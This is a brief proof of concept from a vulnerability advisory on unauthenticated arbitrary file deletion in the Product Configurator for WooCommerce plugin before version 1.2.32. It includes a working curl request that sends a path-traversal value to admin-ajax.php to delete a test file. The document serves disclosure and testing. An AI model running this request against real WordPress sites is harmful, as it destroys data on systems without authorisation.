Product Configurator for WooCommerce < 1.2.32 - Unauthenticated Arbitrary File Deletion

Proof of Concept

Create a dummy file on the WordPress host to delete (the file must be owned by the web user):
    echo '1' > /tmp/delete_me.txt && chown 'www-data:www-data' /tmp/delete_me.txt

Invoke the following curl command to delete the dummy file:
   curl 'http://127.0.0.1/wp-admin/admin-ajax.php' \
      --data 'action=mkl_pc_generate_config_image&data=../../../../../../tmp/delete_me.txt'

Verify the file has been deleted